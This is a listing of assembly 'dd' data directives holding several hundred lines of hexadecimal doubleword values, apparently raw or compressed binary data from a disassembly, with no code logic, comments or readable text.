dd 0A2DD47E8h, 7E82F0BCh, 0B143A300h, 0F37D08E2h, 0FA3D0364h
dd 1EF2FF4Fh, 387FEDF8h, 81430400h, 0BFB31853h, 0BA0250A7h
dd 1EE2003Ch, 93843042h, 0D05C20F4h, 40DE0052h, 2C34E4A1h
dd 0BD8500F8h, 5938C843h, 7A000BFCh, 0C9535F84h, 2E8822h
dd 0B8C10104h, 4E603F10h, 3437BF1Fh, 0C7E50A03h, 6575C8FCh
dd 537D00FFh, 28521BC1h, 90011D45h, 74F685A5h, 55200F5Fh
dd 8B391ED1h, 0E5803AEEh, 0FDC44BAFh, 0F202A6FBh, 3E642C25h
dd 0E018425Ch, 68548Ch, 96F809A4h, 75FF9240h, 18492201h
dd 8E9BF12Fh, 4320C121h, 0C6B055h, 0F4C5E987h, 422B610Ah
dd 0E8408200h, 9A57A34Dh, 517D0332h, 0D444C960h, 0F77E88B0h
dd 3F509600h, 225BA38h, 0A786007Bh, 6C8331C1h, 0F000CD71h
dd 3624EB62h, 53FE04h, 0F7E88AFBh, 4B1E433Ah, 0A078756Fh
dd 8CE2FF03h, 11D507FBh, 0E0DE9421h, 7EF0E599h, 84233200h
dd 31D016A9h, 96544C9Eh, 4A210075h, 20622464h, 97EA433Ch
dd 18850400h, 0B2557329h, 486A02F3h, 2BF0F449h, 35C5CBE0h
dd 90A93700h, 93075DD3h, 2AE10010h, 5FEB5530h, 0BD008018h
dd 2FD73B3Eh, 0E30D72h, 730E1F3Dh, 2ACAC106h, 81FEBECh
dd 87C3F83Ah, 0E8E6E375h, 5E9F8Eh, 0DC102DC0h, 0F61CE881h
dd 16442200h, 0BC88EFC3h, 7B92004Fh, 84FE2D2Ah, 0E60F5053h
dd 0C04BAC4Dh, 29A1E0E8h, 89853F42h, 9CF58C81h, 0ECA83EF4h
dd 0DDEADAC7h, 1CBC530Eh, 0EE4B609Bh, 0EE4692Ch, 5427D2A5h
dd 89051360h, 12006BA4h, 3C9FFB5Bh, 1107053h, 88E22A11h
dd 0D9182134h, 4C0DD851h, 87493800h, 50A28C91h, 907515h
dd 8041FAD2h, 406AF633h, 30FFE21Dh, 902D7580h, 0F66070Bh
dd 5A4D3881h, 78832400h, 7400E03Ch, 82801E4Bh, 768F303h
dd 5615FC99h, 8108A023h, 4500503Eh, 27414C6h, 38F6B572h
dd 3CF069FCh, 24006AF0h, 0EB4EBB28h, 0FE744A5Dh, 1A83121Ch
dd 5F1F0240h, 90136574h, 72D9008Dh, 841464DBh, 0EB730C62h
dd 7839F602h, 6031B849h
dd 5021F8FCh, 79E7C53Fh, 34BA3E46h, 91005FD8h, 525AB774h
dd 0D5002367h, 8E037F86h, 5C16EB3Ch, 0DA00CB77h, 0C8D0D73h
dd 0D103DD33h, 7B84CF21h, 9C963B04h, 0E490E58Bh, 0C4C5700h
dd 0BE006C5Bh, 4EC426A3h, 265EA10h, 0D08FABBCh, 0AA406982h
dd 900F4916h, 770A120h, 6B77880Ah, 0C689AC90h, 31FC020Eh
dd 0CACF49C9h, 0B2C09740h, 0C87030FCh, 19E98800h, 0B6F28AF1h
dd 66182708h, 784BA077h, 89351209h, 440E0C34h, 0DA1C4275h
dd 9B803E80h, 0D2F75BD3h, 25D100E4h, 57AD089h, 0B928C8ECh
dd 4B00C4B7h, 72D54442h, 6B0EBh, 2ECBE1F3h, 16867799h
dd 0B4C30330h, 5F547Dh, 50B9B3A7h, 33135CEAh, 0AF530100h
dd 58AE9E35h, 28680FA0h, 5C60B55Fh, 50895294h, 59B18500h
dd 8A0BD123h, 0D8800002h, 0A126758h, 42F05F2Eh, 0F0754905h
dd 0B7ECA1B0h, 92BDC00h, 0F35D5AF9h, 79A55401h, 0E5957458h
dd 29FD7280h, 5BC85614h, 0D7FCD200h, 9857701Ah, 78402E4Ch
dd 6040729h, 0F44AF0A3h, 0BF00FE41h, 1D17BD82h, 0E6E3E80Bh
dd 2585002Dh, 0C65A4F78h, 733F61B2h, 1B770019h, 0AE933B3Ah
dd 591A2675h, 0BA8100DDh, 3021C2Fh, 86EFD81Dh, 54971100h
dd 3C3969Bh, 8A0A9BCh, 0D1D848EBh, 2A383988h, 16E6F91Bh
dd 52432D00h, 0E923BCC7h, 20B8F2h, 18583BBDh, 2F73820Fh
dd 4F93B200h, 22C43DAAh, 591004F0h, 8394E22Dh, 51B360E9h
dd 0D5B80CB0h, 0B9013100h, 0D75C2042h, 0B871E645h, 13F270B5h
dd 173EFE08h, 272F0039h, 0BAF7E07Eh, 893055FEh, 80093AF4h
dd 0B72009F1h, 0C58302F9h, 0FFE8B204h, 0CD9E567Ch, 6A513800h
dd 9A9C73h, 95880813h, 977CB85Ah, 0C5BBF400h, 1561EA0Ah
dd 0F1100003h, 4912510Dh, 0A4581D0Eh, 802C3F8Ah, 5E077562h
dd 0F8CA28h, 48EFE842h, 0A0E0FF96h, 65E4C800h, 0DFBCBA95h
dd 7C60000Bh, 44AE545Fh, 0AD7BE093h, 6972000h, 1A2643C6h
dd 4EB0001h, 7893DD0Dh, 540022CCh, 2C085011h, 1E6D799Fh
dd 4057F12Dh, 730989F0h, 4600C630h, 0F34E8DD6h, 0DE8CADh
dd 258B5967h, 0CBEFB91h, 5021C607h, 28F0B256h, 0FEADB5DDh
dd 76D0FB59h, 30D11E20h, 0D5C5876Bh, 751C5081h, 1EC339CFh
dd 80B1D62Bh, 0FD9B7Eh, 10E87349h, 1EBB92D4h, 6328100h
dd 8E004E4h, 0D81F00DCh, 0A8F355D3h, 0C4003121h, 0D6BDAEFBh
dd 9820A9Ah, 5FFE65CBh, 4F1A180h, 5802EA81h, 0B3542F78h
dd 2ADDE0C4h, 0F5C20216h, 5F2664A2h, 8A9360E0h, 831E4712h
dd 18446700h, 2E6689F7h, 30FC27Fh, 0A4504824h, 0C9F858E0h
dd 6205D00h, 75894EF0h, 0F64A05BCh, 0C0762CB4h, 0C7B3466Dh
dd 9D0F5000h, 1F2F2D82h, 5A901E55h, 0EA484097h, 0CE223746h
dd 750058F4h, 196577EEh, 514B011h, 3B398285h, 0B0AF8718h
dd 45807534h, 1AC5EC00h, 0EBE0176h, 0CA020061h, 0D9A4AF06h
dd 0FE730D13h, 0C7958600h, 0AD775304h, 5F8B00AEh, 0FB7D80C2h
dd 0CDEE88F0h, 2F008D7Bh, 0C715C663h, 0B86F110Dh, 0E4101201h
dd 0BCFA0282h, 7E609D2Ah, 0DA0333EAh, 7468C075h, 0C03FB331h
dd 35817A9h, 3E7995CEh, 1CE07567h, 0F35EE26Fh, 0DC00F5A8h
dd 5114F669h, 4800B7DFh, 268DD83Bh, 7A011A1h, 0AF07BA12h
dd 0D4F17174h, 7D85E454h, 5C38591Eh, 0CAF23F00h, 1E74032Dh
dd 8562CCD6h, 0C09118AAh, 645A0A94h, 3EC510Bh, 454500B5h
dd 1E05BAD4h, 5077D2Eh, 0FEAA81C4h, 0C0FD2FC2h, 0E3AE87h
dd 0CAB541Ch, 6238FE95h, 0A032D32Eh, 0FF22B400h, 0EE7384h
dd 0B0109C72h, 4BE7E968h, 8D2B60FBh, 91DD9500h, 8C2E63E1h
dd 931313F0h, 420F003Fh, 0A6B1EB70h, 0E7772200h, 0C75F4086h
dd 2C835C90h, 0C049F21Fh, 6A138C23h, 0B500F4EBh, 7385DB51h
dd 16BA0221h, 0CAB4F2h, 53222A75h, 0D800720Dh, 52C38A1Ah
dd 72865E01h, 0A76900E9h, 80D7B021h, 334CCD38h, 401100B1h
dd 742E120Ah, 94D80066h, 0E0F42201h, 1700FFFAh, 0C01D7525h
dd 0F467FE50h, 837713h, 0B2C9BF02h, 0B152535Ah, 8AB32100h
dd 80C1B75h, 64560797h, 0E0D3220Fh, 9E060DC9h, 5CE22B00h
dd 982D14E5h, 743300E9h, 4F9F6828h, 5EF6FB42h, 0AA195507h
dd 3FAF18CBh, 463264C1h, 29EC4B35h, 0F17B00ECh, 8BA1A490h
dd 82039F1Ah, 2717677Dh, 7F319177h, 2E7142F8h, 0A07BEh
dd 66A01D8Bh, 79003064h, 0F6035FF8h, 7AA1C6B8h, 5C97009Ch
dd 0D82E53A3h, 4D0B5BD0h, 0A94210h, 4A445A6Ch, 9BBA1DCDh
dd 0CBA600C3h, 0FAE6C47Fh, 2FFB9E03h, 0E01A57FCh, 293865h
dd 0D8DB3BA7h, 345D36E3h, 6C12A5EEh, 0BBF49Bh, 6A0FE00Eh
dd 0EBEC9D01h, 1A0A9900h, 0ABC48688h, 6753A29h, 0A1BD9000h
dd 0CAA73D68h, 0A8155D01h, 0B2BBFB92h, 0EAD7C0h, 994AD02Dh
dd 0A436A010h, 763E8800h, 7D540AFDh, 385F00BAh, 0B805D5E7h
dd 0EFA058CCh, 1CE2158Ch, 2CDF8900h, 0B50ED494h, 0B0930383h
dd 0F0B86D5Ah, 2B89EFB0h, 59F46A00h, 0E20E53F8h, 0EC480022h
dd 63C5035h, 0CE0FA63Dh, 0A0A11328h, 0A03EBC96h, 0FCA4001Ch
dd 60C40647h, 0F24C3468h, 7890326h, 0C0BBFD85h, 0BC5C58h
dd 0C275F803h, 0D35BC068h, 0DF29BF00h, 669CDC88h, 7CCF842h
dd 6C4617B6h, 0A034B021h, 64394C9Eh, 0EC62003Ch, 0D5F8101Fh
dd 27973A4Eh, 0F0F47AFFh, 48EE0Dh, 0EF38DB79h, 0E552EE19h
dd 8F02333Dh, 0E1644414h, 4CE36837h, 13AEDCCh, 54203D61h
dd 0F8430C7Fh, 8FA34B1h, 0C422B900h, 0B32BAB2Dh, 0BB580012h
dd 0D6154E25h, 1D7F943Bh, 49792AC0h, 72656B3Ah, 5E3C2466h
dd 36B401F3h, 302CD94Eh, 19074246h, 82EB9A90h, 2A230360h
dd 584507B6h, 0B301B7AAh, 1EE83724h, 62126A99h, 0B90136A7h
dd 4B03A045h, 4E52D0h, 7CF04C9Ah, 9ED4475h, 0A954F513h
dd 419ED900h, 1CCA56DCh, 0C01C4950h, 745F6547h, 0FCF161EDh
dd 7A037B64h, 20C37371h, 0BF69D852h, 78450091h, 66DDF663h
dd 4CFCA0D3h, 73007CFCh, 4518F99Dh, 0F0106D53h, 31880024h
dd 0C9028B62h, 3B00082Dh, 0DDD6F8E1h, 0AD8D79h, 28FCD489h
dd 9C3A7D72h, 572EEA00h, 86CA3E62h, 0C9113EF4h, 0EFE20683h
dd 26B05C78h, 5812753Dh, 9E008415h, 0C74A8B28h, 11E21E3Ah
dd 0E8C000A5h, 0C4EAEF27h, 0D22E4F00h, 2071740Ah, 7D7E02h
dd 0F9EEE7E0h, 453DB664h, 0C42A0800h, 0CBC70D14h, 439E00D6h
dd 3F816605h, 0FD0025FFh, 26E83DD2h, 1C6CEFh, 1E389507h
dd 0AA2769C4h, 0A6D6241Dh, 0E0E85A8Fh, 0EE3AE1B5h, 91670053h
dd 0C64E3E10h, 3F034F55h, 4B7AD2B1h, 0D875CBC9h, 0C3FA50h
dd 6F0032Ah, 26F3F85Bh, 80CE103Bh, 52E22C92h, 0A46DA7h
dd 0B3446BEFh, 0C308BB43h, 0CA535026h, 0F53B1700h, 0E68B828h
dd 0D2395411h, 89782B40h, 6A000AC8h, 0A7B052B2h, 7CA10974h
dd 0EAD1F4CEh, 713800EBh, 0BD5EBFAAh, 9007D0Eh, 5478D68h
dd 0FE63ECE2h, 0D52C0378h, 0A06171Dh, 0C20146F0h, 6900E8ECh
dd 1505ED39h, 0FE388934h, 65C31FBDh, 6581E542h, 0E0A00E6Eh
dd 2B00DE8Bh, 81E41C5Dh, 714FBh, 646885BDh, 162F8629h
dd 8AEAAC00h, 0E455121Ch, 4A4800F7h, 278358E0h, 2B3B04EBh
dd 5F9E9F68h, 7D19F3C0h, 0F05497h, 0B4517F52h, 38783644h
dd 324638h, 33D08B56h, 0FEBF6h, 80068A7Dh, 5742FF9h, 5C5F0A00h
dd 42F29007h, 0F3A00D7h, 0ABD0EC09h, 0A6000354h, 0FCC34A5Eh
dd 7C75F7F0h
dd 17E51753h, 42470030h, 0B8A0D73Ah, 0DF822900h, 0FCE488D1h
dd 7E3700BEh, 95EB1C7Bh, 177892F7h, 0DA19A10Fh, 3CA900EDh
dd 0FD3E8Bh, 9A708845h, 0C94F943Ah, 1241520Eh, 0F4538024h
dd 284ADCh, 6389E2C1h, 3C7B8E5Dh, 3B7CE800h, 5C033A78h
dd 1D1C003Fh, 40F61304h, 5F0B148Fh, 34A5A5Bh, 0F16886E4h
dd 6520C13Bh, 0F0A61C8Ch, 209FBD8Eh, 0D9B5001Ch, 301BAD96h
dd 0BE95D500h, 4A4D8EBFh, 687F3F73h, 0C49D5100h, 45EB3E70h
dd 34A97D0Eh, 35C07EE4h, 2147D3BDh, 506F00E0h, 2F58107Ah
dd 93F8B702h, 0FEE96E05h, 0CB010FFFh, 0C231A26Ah, 0C0428820h
dd 2E06BA34h, 0EEFF23A3h, 0E59BC05Fh, 0F8DC00BBh, 0BF94B054h
dd 5B0263D0h, 78DFE964h, 322861ACh, 1331803Bh, 0EFFC6C75h
dd 625C2300h, 0FDFB447Ah, 0BEE70361h, 0BB4EDF1Eh, 792C63F8h
dd 0F86D5E1Dh, 202ED980h, 0F72A6Bh, 4C7D62AEh, 7986E34Fh
dd 6DDCE03h, 0D8ACF63Ch, 641A53h, 0B38D702Eh, 14B67582h
dd 52509F07h, 0FBC15DCFh, 0B9EC4E78h, 0F88400F0h, 6BB453FEh
dd 74039714h, 0FABD0DA7h, 48C2F81Fh, 0E8830002h, 30B83AA2h
dd 202C264Bh, 0B501D512h, 762C4306h, 0F00A89D0h, 0EF6D099Bh
dd 0D88029FEh, 66C78B3Fh, 547E9AFCh, 0A9165Ch, 55FC4492h
dd 51930Fh, 0CF10B22h, 16F8678Bh, 0CFBE7503h, 0B0381ACEh
dd 0C0103Ah, 0FE124B1Ch, 74C9DD6h, 7D00ADB0h, 0CB51ACFCh
dd 972F10h, 4F022944h, 7E12A90Ch, 8F0B870Fh, 31F9802Dh
dd 1CE3543h, 9422274h, 0D9192436h, 0E910D137h, 1C85E83Ah
dd 83B8B73Eh, 8CEC7DC2h, 33C0EFA5h, 0EF57519h, 4D88982Bh
dd 8669680h, 553D4126h, 0EB3B9C4Bh, 39F98443h, 8AEA0715h
dd 70F8AB27h, 4B8296ACh, 4A337C00h, 0F2F5EB8h, 51760084h
dd 38F1DFABh, 413FAF98h, 2CB9C7h, 951DAC9Ch, 0E106097h
dd 5EFF483Bh, 8D1C3040h, 0DF7A0853h, 0C1E1500h, 0ABF656Eh
dd 4A4B00EBh, 42203911h, 0E526695Bh, 0C80001C9h, 0F32D91Bh
dd 79E005Ch, 830E731Eh, 8D3E0401h, 0B490F485h, 8074F83Fh
dd 0DC8265BEh, 0EDB71069h, 774BC0h, 155C81Eh, 0CBD52EC9h
dd 0A2F91600h, 64146E09h, 7507846h, 70965534h, 0C6B75160h
dd 3ED7F092h, 0FCFC73Fh, 61E9E0E5h, 6C79FE9Fh, 1FC5E2C4h
dd 0C0146A43h, 0E958C08Fh, 1CB82EF1h, 5C087D00h, 3F840ADh
dd 0B93500B4h, 0EF8B0689h, 0A5EE795Dh, 4B437000h, 460307C0h
dd 0C3E0048h, 0F02B0A33h, 0E800244Ch, 592556AFh, 12EB007h
dd 0C8471F8Ah, 0E44E4034h, 49004423h, 16051F2h, 71EBB1h
dd 37195E3Ah, 2A41775h, 50A08900h, 2ACAD555h, 7F230F40h
dd 0CF40D82Bh, 38C852EBh, 907C3903h, 0BF366425h, 1A296A80h
dd 185FE17h, 72F107A6h, 0D08E924Dh, 0EB007534h, 0D04AD58Bh
dd 20BA61h, 0E36E9E65h, 408D85E1h, 80CFAA00h, 423F3908h
dd 3A980F59h, 0FCBDE03Ch, 1B1FA2BCh, 0C8D6ADB2h, 8A904E07h
dd 0C03EE6F0h, 82060050h, 12AEF392h, 0BFFE0156h, 30FB6C00h
dd 2F144184h, 4C453E06h, 0FA950072h, 0C3F43CE9h, 3A00EEDBh
dd 100821FCh, 75188A74h, 931C0205h, 9BE842BBh, 40F59061h
dd 59C474DFh, 13305F1Fh, 0F8E895DEh, 0D9008275h, 202ABF22h
dd 7AED0Eh, 59D474BDh, 1C9AAAD7h, 5424D207h, 0F5407F82h
dd 7995ECB4h, 0FC21771h, 20860F76h, 9FAB7200h, 0DC5EE051h
dd 0EEF1B5F1h, 857C0A80h, 4190B138h, 89B62B00h, 276EAED2h
dd 8178B7h, 1DC2881Ah, 0F222287Dh, 0A84ACE00h, 0FDBD11B9h
dd 0B80B004Bh, 0A443465Ch, 10009AABh, 0BC998EECh, 0C7555Ah
dd 8870540Eh, 3C9EDF8Fh, 0FF72E300h, 5DADC815h, 0F9340031h
dd 7F1CE17Eh, 7300E90Eh, 0ECED33A5h, 0FC0C8BA9h, 5C490036h
dd 12401D4Dh, 0E00BCC7h, 590546A1h, 3D8F6F11h, 7222DCh
dd 0AF202414h, 0E8DBF93Bh, 468CF50Ah, 0DF05FE52h, 51C71021h
dd 74288D30h, 6C030337h, 0E365FDCEh, 22261993h, 52005D08h
dd 1666C4FFh, 42770004h, 0FD2AFBF8h, 111F32E3h, 24400846h
dd 0BF2B4822h, 708B0044h, 2CEB256Dh, 4E00A471h, 832019DFh
dd 79935145h, 0C0394B13h, 9216B691h, 60230400h, 0CF542846h
dd 6AC50059h, 57AD8083h, 9700E0B6h, 5FEB2CF9h, 117865h
dd 0BFE65AF1h, 0BB245818h, 7C8270BFh, 827C1CE8h, 2FC640A1h
dd 0B503A39Ch, 0D7094673h, 8115A925h, 132C010Bh, 204C8h
dd 33740B72h, 73B6C0FFh, 4F80E900h, 0CC35C937h, 0EC680050h
dd 0C70328C2h, 0D0097DCh, 66B71348h, 42F75Dh, 3785E9B1h
dd 0ED20CD6Ah, 0B551800h, 7A044908h, 5F2400D5h, 39076010h
dd 50008402h, 56404D11h, 1E0A4218h, 8069EB68h, 1032C765h
dd 481DF259h, 3FC10C50h, 9D423541h, 54B5F0h, 57C1564h
dd 51E4B816h, 0FC30D205h, 90B0897Fh, 0ABE80041h, 59FFDE38h
dd 51E2109Fh, 60F06D00h, 36F79720h, 40487A40h, 26513C92h
dd 0DC883081h, 84C95600h, 0CEAA34D6h, 7FBF60Eh, 1FF200Fh
dd 558DB13Dh, 80A54724h, 13FA8347h, 0BF089916h, 438CA500h
dd 110C648h, 0AD4A3063h, 0E8A8C40Eh, 0B2002A69h, 66771203h
dd 1DE740AAh, 7D957489h, 4FF00D80h, 2032C175h, 6C013Eh
dd 29BCC951h, 78910868h, 3C960014h, 850D2833h, 253E3DEDh
dd 0B92200DBh, 3A15D973h, 0DAFC20h, 5F13F516h, 0A5AF27CCh
dd 0FF307500h, 5D5AFC61h, 0D0FD073Fh, 0B01A37B2h, 0F1AFECB7h
dd 0BD55B00Eh, 0C5D9A02Fh, 4F94708h, 296145E4h, 808B8549h
dd 9B4482D3h, 0C489AE01h, 0F324DA12h, 84AE0E7h, 38913922h
dd 7FA551BCh, 0F812D783h, 0FD4B31E0h, 88C59701h, 217E3B6Ch
dd 6580898h, 0E0001486h, 0A9298E0Bh, 3F407DDCh, 82804AEFh
dd 1F06BA9Ah, 0C53ADA2Fh, 0D0CE05A5h, 58EC69F8h, 1DC7781Dh
dd 0C1E54043h, 7E8E0C08h, 94C5DE00h, 0BBB32927h, 5CB10F66h
dd 4A606FBFh, 95FD7A2Eh, 7ECE42ECh, 7CEB8717h, 0E4C2B5A0h
dd 43480047h, 580E11DDh, 8005104Dh, 8DFCA54Bh, 0A2B380FBh
dd 9000A45Ch, 0EE0BB33Ah, 2BEAA0h, 4B8A2FF4h, 74CBA8D9h
dd 575A0F00h, 0E8F64E0Eh, 7FED0024h, 5DC62CBCh, 0CF7D6D08h
dd 3DE2183Fh, 271F7EDBh, 444E8EFAh, 3B974014h, 1A1822h
dd 507E10B2h, 933E91ACh, 0FC147B00h, 0E0CF203h, 18320070h
dd 1BC96806h, 243EE58Dh, 45F80A7h, 27BE3816h, 42A900F5h
dd 104759FBh, 0D20E4EC6h, 20761A3Ch, 85EA1465h, 0ADD63BABh
dd 0F3CE4F04h, 36608156h, 7303E006h, 5706C00h, 7868CB77h
dd 0F5740F4Ch, 27A0B3EEh, 56247614h, 40E59D03h, 0B04ED74Bh
dd 734CC811h, 53C30042h, 49D82A21h, 770740DEh, 3EBC5193h
dd 740130E0h, 7B830063h, 5DB3C36Ch, 14000C20h, 81185740h
dd 1F1C0251h, 40084B04h, 0FA8B4507h, 14046B22h, 80E0F992h
dd 763F8680h, 0EEA002Bh, 497444F6h, 0C90AFCC7h, 9166D8A8h
dd 1CC1949Eh, 55DF10E2h, 77706871h, 60EA4Dh, 0D57756A2h
dd 0A328E853h, 0EA43D00h, 0B0744301h, 0E3BF0092h, 90AD9344h
dd 840080F3h, 1B6E7821h, 72997E4h, 0D69C0979h, 421C8028h
dd 27038C3h, 9678732Eh, 6B1EDD00h, 201018h, 0EB7C74A7h
dd 0BE433D23h, 577622E8h, 84932700h, 0C697515Bh, 4C7200EFh
dd 0D2077844h, 0F800B303h, 384E31C4h, 0E9088D9Ch, 0EE4B54D8h
dd 0CA201FF3h, 0A0594169h, 4070211Ah, 326A9B05h, 6CA2E407h
dd 0ACB0A943h, 84258Ah
dd 5419A457h, 4D68809h, 0BA442039h, 7826DC5Ah, 85CCC00h
dd 97948C9Ch, 80960041h, 14819844h, 38000988h, 1C08119Ah
dd 467FE8h, 109BB802h, 29A27436h, 8F32093Eh, 0C7A6219Ah
dd 0F830C458h, 0E9006C3h, 0C605111h, 87B009A0h, 460410Eh
dd 7171860h, 0A13600E8h, 8C1B0C02h, 1A00DC10h, 21CCB408h
dd 0EAD40984h, 3A47519h, 201F4050h, 0D8F38088h, 23D0F0DFh
dd 1100A081h, 4022E34h, 0E82F7C22h, 5446004Ch, 9C49932h
dd 800516Ch, 22A4913Ch, 5C2074h, 942C4457h, 0F8116489h
dd 0BC026600h, 6239DC26h, 100900ACh, 52E00353h, 5A0E7933h
dd 0AF495931h, 90C0204h, 0F460C124h, 7B38A320h, 0A8086164h
dd 0D4204137h, 0B10ECCC6h, 66B8CB40h, 0E8C88D2h, 980870C8h
dd 11DC84E0h, 0CC1D1B48h, 873FD9E0h, 1059E744h, 21F96050h
dd 2A18001Ch, 0CC29ECA8h, 11315408h, 2B744824h, 0BE2330h
dd 75D17632h, 14EC6405h, 4AC7ACB8h, 2670023Fh, 7A6359ACh
dd 0A828007Ch, 0A7C43818h, 5B00F008h, 0F411C081h, 0A021B15Eh
dd 3026295h, 4C70253Ch, 0A8D1409Ch, 50437089h, 2007657Eh
dd 58488824h, 51766CF1h, 74A46C80h, 0AC12DC89h, 6DFC2212h
dd 20462C00h, 0C64B972h, 58755171h, 810AA3B8h, 0D5891744h
dd 0B8261D00h, 1E117CC6h, 9E43554Ah, 0DA440B4h, 4707E817h
dd 0E170280Eh, 6AC24225h, 0A787F7D0h, 0DD010ACCh, 1C32007Ch
dd 0EC08B13h, 1558408Dh, 0C6010013h, 31181F84h, 821000Ch
dd 32032480h, 52E048E6h, 746E7500h, 20656D69h, 0E27200E4h
dd 83DAE76Fh, 0EAFC6101h, 863B3000h, 18455140h, 80112DBFh
dd 80191B57h, 0B5413938h, 57805E5Ch, 0DEC0120h, 0A00A1D55h
dd 58C5C14Eh, 319C0C56h, 0F8AE31B8h, 1007D430h, 1FC1F927h
dd 0F3911C23h, 0E20AD81Eh, 1897001Dh, 7CF001ABh, 6C00A466h
dd 105AE433h, 0B70907ECh, 3896DEh, 6C05265Ch, 4C185B66h
dd 7C006F74h, 128C8984h, 9C092494h, 8791A448h, 0BCF3B475h
dd 0FBCCFBC4h, 0FBDCFBD4h, 0FBECFBE4h, 4FCF8F4h, 0C5C0140h
dd 1C121489h, 2C48C424h, 22349107h, 4C17443Ch, 0F81754F1h
dd 6CED64EDh, 0F67C6F70h, 8C120584h, 824A9424h, 0BC80E5BDh
dd 5390408h, 8E641C00h, 6A236547h, 5FA83E89h, 48605403h
dd 0C0F75808h, 6411610Ch, 0E2BCC803h, 0B0316214h, 46801Ch
dd 88E02363h, 38C46494h, 1FEC7200h, 306548E2h, 8C5E00F0h
dd 11660423h, 100D560h, 37842A93h, 0E500D14h, 4B4A4847h
dd 4E4D4C02h, 534705FFh, 585737C0h, 0A056005Ah, 454104ECh
dd 4F1C6A49h, 6301B811h, 68676664h, 6C6B80EBh, 0AF6E5A6Dh
dd 74052F00h, 17A7877h, 61200176h, 606F6965h, 9160B998h
dd 0C4A010DCh, 0A7AC0022h, 0C6E80901h, 740E84AAh, 0E0315132h
dd 71B09840h, 9EB0FFh, 0C8101101h, 30912009h, 44312200h
dd 2F388C34h, 69070041h, 33E8C79Ah, 0B001E90Fh, 19F3F0F2h
dd 4520A490h, 1D2B90B8h, 0C0F822D4h, 3C45581Ch, 741724DEh
dd 30408C48h, 0ECD444BCh, 59040288h, 34121881h, 6420FA8Eh
dd 94227C91h, 0FFA84407h, 0C9001F7Eh, 0C1BD8Dh, 9B382F3Fh
dd 6B707AFEh, 4B3E1D00h, 0AF51C049h, 391A1CB6h, 931500F4h
dd 1B926CB0h, 5B78B424h, 95553B00h, 708436F7h, 86B8E4h
dd 0CE0D4AD2h, 0F501DD09h, 0E3CD5300h, 601DB413h, 0F820006Ch
dd 0A4225027h, 24009B03h, 41659885h, 0F95018Fh, 728409E8h
dd 70589907h, 4070084Ch, 8900737Fh, 0C5FF1C88h, 7CA3F003h
dd 75C80021h, 0A43110BEh, 0A67EE408h, 1933D001h, 70EC09E0h
dd 0BA740D4h, 0F849CCC8h, 90D7A287h, 0AD0A802Ch, 4A96C06h
dd 3E60A5FEh, 248EA838h, 68E35409h, 84B87412h, 0B5A89048h
dd 0C80345B8h, 964C033h, 0EB32EB21h, 4442E83Ch, 0B35A0350h
dd 0D2C08A24h, 3E08B590h, 152981Eh, 3020779h, 6020504h
dd 0A266007h, 0D0C0E0Bh, 10400E0Fh, 7894389Ch, 0A403BEBAh
dd 0C401811h, 0C40B99B4h, 7BD02620h, 310D248Dh, 105C030Eh
dd 0E09B0E34h, 2001C0ACh, 90E61294h, 0A8021376h, 1A6C3616h
dd 9C2D6019h, 1F401C80h, 7022C184h, 0F77811CCh, 0A024B1D7h
dd 0C826E488h, 7A279924h, 20192801h, 6E8954D9h, 3B003160h
dd 10012E34h, 3C033F1Eh, 0E0EC118Fh, 0B0023308h, 34483E22h
dd 2F6892h, 2C36317Dh, 9009937h, 0C1399032h, 1EC4023Bh
dd 0C0B4063Dh, 5C874C3Eh, 400C8CCh, 0B15A448Bh, 37714B0h
dd 639C1864h, 0E9B03038h, 311FDC73h, 700019D4h, 785DD9BEh
dd 0F284E89Eh, 20AE0004h, 79CC6398h, 0C4CA2E4h, 4411003Fh
dd 399C5676h, 995C3A66h, 6C5D798Fh, 0D1F5DDC2h, 0A1E05760h
dd 3652400h, 0C4793310h, 4807519h, 0DC592CB1h, 12218022h
dd 422486E0h, 0D200B088h, 5C809219h, 9300053h, 3C247214h
dd 89161260h, 6003992Ch, 0A8A5D481h, 0E2195C2Eh, 442000Ch
dd 9948515Ah, 0D07411BCh, 0F9C4B93Ah, 26D9A500h, 65193440h
dd 5809007Ch, 0D4889C12h, 0A000941Ch, 604A90EAh, 366AC2Ah
dd 41500998h, 8DC057F7h, 0D9F82808h, 49145900h, 9FB4298Ch
dd 3C313E33h, 2060A987h, 4C7470C9h, 441F6FF4h, 54C1D939h
dd 91282999h, 0F0C2C07Bh, 250CA49Eh, 129CC419h, 32BF00E0h
dd 0A514387Bh, 1B584CACh, 69C6015Ah, 885BC33h, 1134F8h
dd 0D8A4F904h, 1C94A9DCh, 4C619901h, 49883C09h, 0C9083F2h
dd 4BFBE8D9h, 20460079h, 66107A30h, 2C3A51E4h, 3FB4C841h
dd 6875F45Ch, 58037FB0h, 94D31287h, 549A0E60h, 5CE090B0h
dd 0B466B896h, 6C61A973h, 0CC5211ECh, 3106730h, 94B059F2h
dd 70C00C84h, 2390B199h, 995AC00h, 74329CDCh, 258C0261h
dd 20D84C2Ch, 90A4B740h, 0C6FC9600h, 786A59C0h, 0D7011E41h
dd 1B7257Ch, 5BEAC55h, 91934C87h, 70539190h, 1800869Eh
dd 0AC562096h, 0FA5EC814h, 9EF205C0h, 807CD024h, 8FEC978Dh
dd 110088F8h, 0EE1920Ch, 2C0298h, 9A4E203Eh, 9CC8B047h
dd 0DAF13CC0h, 2C08019Bh, 3F961E93h, 1EC41093h, 0FA1887ADh
dd 995AF0B1h, 93E7031h, 24A08088h, 91D448B8h, 0F22202E2h
dd 400CFE44h, 32896A60h, 2425127Fh, 9FA07554h, 0A290447Eh
dd 0C8FEB4FEh, 0F0FEDEFEh, 9520B81Fh, 3BCF74BDh, 0C04CCF3Eh
dd 22749158h, 8196FE86h, 0BFC0FDAEh, 0BFDEBFEAh, 2BFC89EEh
dd 1973870Ah, 0C03611D2h, 302944CAh, 807D1452h, 5B89053h
dd 0C20CAC7Dh, 28E489D4h, 41400F4h, 268C1C97h, 27B83411h
dd 4C00427Eh, 64445822h, 0C020A672h, 0B889A884h, 2430CC12h
dd 9823BFE0h, 111C1819h, 223A522Ch, 5E444A05h, 3BC0897Ah
dd 0FB424A4h, 0D491C448h, 0F0E0E2EFh, 991688FEh, 1226810Ch
dd 5CF53Ah, 82226E91h, 89AA9844h, 0CA54BA7Fh, 0FEFEF297h
dd 9A0C100Ch, 0B329422h, 0AC468A40h, 96C5A80h, 107DA686h
dd 89BAA805h, 0D19013CAh, 259BE0F0h, 7F800E81h, 914E483Ah
dd 6E03607Fh, 898C8044h, 0F8AEFB9Ch, 70154C8h, 0BF08E429h
dd 1E11C023h, 0AEA22C32h, 4F64EDA4h, 3E7E2C74h, 0A612009Ah
